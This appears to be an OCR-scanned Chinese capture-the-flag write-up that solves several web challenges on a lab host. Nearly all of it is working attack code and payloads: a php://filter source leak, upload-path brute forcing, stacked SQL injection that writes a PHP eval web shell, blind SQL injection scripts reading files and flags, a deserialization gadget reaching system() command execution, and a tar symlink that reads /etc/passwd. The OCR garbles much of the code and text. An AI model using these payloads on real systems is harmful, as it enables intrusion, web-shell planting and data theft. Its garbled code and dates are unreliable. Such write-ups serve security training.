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fEheader¥ & #password

Cache-Control: no-store, no-cache, must-revalidate
Connection: Keep-Alive

Content-Encoding: gzip

Content-Length: 218

Content-Type: text/html; charset=UTF-8

Date: Sat, 24 Nov 2818 15:36:26 GMT

Expires: Thu, 19 Mov 1981 08:52:00 GMT

Keep-Alive: timeout=2, max=108

password: e5T76cd6T91b925T9765c93eb@7cfled
Pragma: no-cache

Server: Apache/2.4.6 (Cent05) OpenSSL/1.08.2k-fips PH
P/7.1.14

Vary: Accept-Encoding,User Agent
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http://101.71.29.5:10007/index.php?page=php://filter/convert.base64-encode/resource=index
B EIYRRD
<?php
if(isset($_GET[ 'page'])){
if(!stristr($_GET['page'],"..")){
$page = $_GET['page'].".php";

include($page);
telseq{
header("Location: index.php?page=login");
¥
telse{
header("Location: index.php?page=login");
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<?php
$error = "";
$exts = array("jpg","png","gif","jpeg");
if(lempty($_FILES["image"]))
{
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension, $exts)){
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "JBEAEEMGE!";
b

else{

$error = "BEAEHFEO";

telse{
$error = "SEERXKADA 2 BULRIHEIT I BET S

?>

RIS EAEHEEF] ifi+upload, EAE—ANNEHE —AHEARDKjpg, HAEHIAgetshellffE $path =
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import time
import requests
import hashlib

url = "http://101.71.29.5:10007/"
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
files = {
"image":("coold.jpg",open("1.zip","rb"))
¥
t = int(time.time())+8*3600
requests.post(url=url+"index.php?page=upload”,files=files)
for i in range(t-200,t+200):
path = "uploads/"+md5("coold"+str(i))+".jpg"
status = requests.get(url=url+path).status_code
if status == 200:
print path
break
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write a shell
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select GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE from information_schema.USER_PRIVILEGES

payload

http://101.71.29.5:10011/user/user.php?id=24;set*s=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 71, 82, 65, 78,
84, 69, 69, 44, 80, 82, 73, 86, 73, 76, 69, 71, 69, 95, 84, 89, 80, 69, 44, 51, 44, 52, 44, 73, 83, 95, 71, 82,
65, 78, 84, 65, 66, 76, 69, 32, 102, 114, 111, 109, 32, 105, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 95
, 115, 99, 104, 101, 109, 97, 46, 85, 83, 69, 82, 95, 80, 82, 73, 86, 73, 76, 69, 71, 69, 83));PREPARE a FROM"s;
EXECUTE a;

user id:24
user name:coold

i FARATIE]: 2018-11-28
user_id:'ctf666'@'localhost’

user name:FILE
i EARASE: NO
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show variables like '%secure_file privi'



payload

http://101.71.29.5:10011/user/user.php?id=24;set”s=concat(CHAR(115, 104, 111, 119, 32, 118, 97, 114, 1@5, 97, 98
, 1e8, 1e1, 115, 32, 1e8, 15, 1e7, 1lei, 32, 39, 37, 115, 1lei, 99, 117, 114, 1e1, 95, 102, 105, 108, 101, 95, 11
2, 114, 105, 118, 37, 39, 10));PREPARE a FROM"s;EXECUTE a;

user id:24
user name:coold

SEARETE]: 2018-11-28

user_id:secure file priv
user name:/var/www/
7 EARATIE :
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select'<?php eval($_POST[coold]);?>"'into outfile '/var/www/html/favicon/coold.php'

payload

http://101.71.29.5:10011/user/user.php?id=24;set”~s=concat(CHAR(115, 101, 108, 101, 99, 116, 39, 60, 63, 112, 104
, 112, 32, 1e1, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 111, 111, 108, 100, 93, 41, 59, 63, 62, 39, 10
5, 11e, 116, 111, 32, 111, 117, 116, 102, 105, 108, 101, 32, 39, 47, 118, 97, 114, 47, 119, 119, 119, 47, 104, 1

16, 109, 108, 47, 182, 97, 118, 185, 99, 111, 118, 47, 99, 111, 111, 188, 100, 46, 112, 104, 112, 39));PREPARE a
FROMAs ; EXECUTE a;

Vi http://101.71.29.5:10011/favicon/coold.php

getshell
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import requests
import string
import binascii

hex = lambda s: binascii.hexlify(s)
char = '0123456789ABCDEF'

filename = '/var/www/html/index.php"’
c= '

url = "http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(Ox2F7661722F7777772F68746D6C2F696E6465782E70
6870))1ike(0x%s),1,2)"

for _ in xrange(10000):
for i in char:
payload = c + i + '%"'
_url = url % (hex(payload))
r = requests.get(_url, cookies={'PHPSESSID': '40sdu@8nvrl43q4f60b3213ftl'})
if '2018' in r.content:
print "...... ' + payload
c=c+i
break
print c

S AL /var/www/html/index. php

<?php
require_once( 'config/sys_config.php');
require_once( 'header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE[ 'CONFIG'];
require_once( 'config/config.php');

?>

F /var/www/html/config.php



<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$ GET['p'];
$config->%$p;
b
class Config{
private $config;
private $path;
public $filter;
public function _ construct($config=""){
$this->config = $config;

echo 123;
¥
public function getConfig(){
if($this->config == ""){
$config = isset($_POST[ 'config'])?$ POST['config']:"";
¥
¥
public function SetFilter($value){
// echo $value;

$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call _user_func($filter,$value);
¥
$this->filter = array();
telse{
return false;
¥
return true;
¥
public function _ get($key){
//var_dump ($key) ;
$this->SetFilter($key);
die("");

RILRE— PR F I H ERE

index.php-->cookie[CONFIG]-->config.php-->unserialize(base64_decode($config));

public function _ get($key){
//var_dump ($key) ;
$this->SetFilter($key);
die("");

PAR

if(isset($_GET['p'])){
$p=$_GET['p'];
$config->%$p;

RO $EE, PREESetFilter



$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array map($filter,$value):call user func($filter,$value);

RIATBEATRCERIME, TRERWIE
$coold = new Config();

$coold->filter = array('system');
echo base64_encode(serialize($coold));

732

CONFIG=Tz020iJDb25maWciOjM6e3M6MTQ6IgBDb25malWcAY29uZmlnIjtz0jA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjt003M6NjoiZmlsdGVyI
jthOjE6e2k6MDtz0jY6INNS5Cc3R1bSI7FX0=

& cookie PATIEE S

index.php?p=

ReEwaf. phpH Hwaf_exec(fFxn, ST/, 7, FrUAAgeEEs H Fikflag>Xft, =R MEHASIFSHATSE = #
payload

/index.php?p=grep$IFS-ri$IFS.$IFSflag

flag{d6e29836ea0e962bOboOc3bf9292b5ad}
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http://101.71.29.5:10041/show. php?id=1
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http://101.71.29.5:10008/show.php?id=1
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# -*- coding:utf-8 -*-
import requests
import binascii

test = ',0123456789%abcdefghijklmnopgrstuvwxyz{|}~"
res = "'
flag = '
for num in range(1,50):

for x in test:

bet_1 = bytes(flag + x)
bet_2 = bytes(flag + '~")
#web

#payload = "?id=-1%%0aor%%oa(select’s%0a(select¥’oadatabase () )%%0abetween%%0a0x%s%k%0aand%%0a0x%s) "%(binascii.b2
a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())

#admin, flaggg, menu

#payload = "?id=-1%%0aor%%0a(selects%0a(select%%oagroup _concat(table_name)%%0afrom%ks0ainformation_schema’%%0a.%
%0atablesks0awhere%%0atable_schema%%0abetween%%0a0x776562%%0aand%%0a0x776562)%%s0abetween%%0a0x%s%%0aand%%0a0x%s )
"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())

#1d, flagg

#payload = "?id=-1%%0aor%k%0a(selects%0a(select%%0agroup_concat(column_name)%%0afrom%s0ainformation_schema%%0a.
%%0acolumnsk%0awhereX%oatable_name%%k0abetween%%0a0x666C61676767%%50aand%s0a0x666C61676767)%%0abetweens%0a0x%s%%0a
and%%0a0x%s ) "%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())

#flag{5d6352163c30bas1f1e2c0ddo8622428}

payload = "?id=-1%%@aor%%0a(select%%0a(select%%0aflagghikOaftrom%%atlaggg)%%k0abetween%%0a0x%s%%0aand%%0a0x%s )" %
(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())

url="http://101.71.29.5:10008/show.php"+payload

row = requests.get(url)

if 'FRINIREMIERN1e not in row.content:

if x in '0":

% s Dar

flag += chr(ord(x)-1)

print flag

break
print flag

flag{5d6352163c30ba51fle2c0dd08622428}
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X EEATR BIX 2 FpyS fiflaskiESE, sessionfefE7Ecookie B, AR B %L INE 15 ) session

session=eyJsb2dpbiI6dHI1ZSwidGOrZW4iOnsiIGIiOiJINak15WXpjek5qUmhNelZpTORJM11tRXhORFIrWkRobF1qSXhZMk13TUdVPSI9LCI1
c2VybmFtZSI6ImFkbWluIn®
.DuEsdA.08HFW6VvBDdcjjpgnFDO9wOLmaeg; HttpOnly; Path=/

base64f# % 5 — &4y



{"login":true, "token":{" b":"MjMyYzczNjRhMzViODc2YmEXNDRkZDh1YjIXY2MwMGU="}, "username": "admin

T kbase64f# %15 Ftoken

232c7364a35b876bals4dd8eb21ccooe
1B U RS 8 K18 B adminB fR
BEN BRI, #Ron btktar, RATE D HREEE

Hi&

In -s /etc/passwd coold.jpg
tar cvfp 1.tar coold.jpg

EAE1tar, UiiE http://101.71.29.5:10010/download/coold. jpg
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14 115 (0123456 7/89ABCDEF
6B 75 up:x:34:34:backu
3A 2F p:/var/backups:/
69 6E usr/sbin/nologin
40 61 .list:x:38:38:Ma
61l 67 1iling List Manag
75 73 er:/wvar/list:/us
0A 69 r/sbin/nologin.i
64 3A rc:x:39:39:ircd:
2F 75 /wvar/run/ircd:/u
6 OA sr/sbin/nologin.
47 6E gnats:x:41:41:Gn
69 6E ats Bug-Reportin
6E 29 g System (admin)
73 3A :/var/lib/gnats:
67 69 Jusr/sbin/nologi
33 34 n.nobody:x:65534
2F 6E :65b34:nobody:/n
72 2F onexistent:/usr/
61 70 sbin/nologin. ap
3A 2F t:x:100:65534::/
69 6E nonexistent:/bin
3A 39 /false.mysqgl:x:9
60 79 99:999::/home/my
30 3A sgl:.ctf:x:1000:
66 3A 1000::/home/ctf:
TB 35 /bin/bash.flag{b
63 62 bed3chBa33a867ch
33 7D 11975587f£8edf33}

flag{5be43c58a33a867cb11975587f8edf33}
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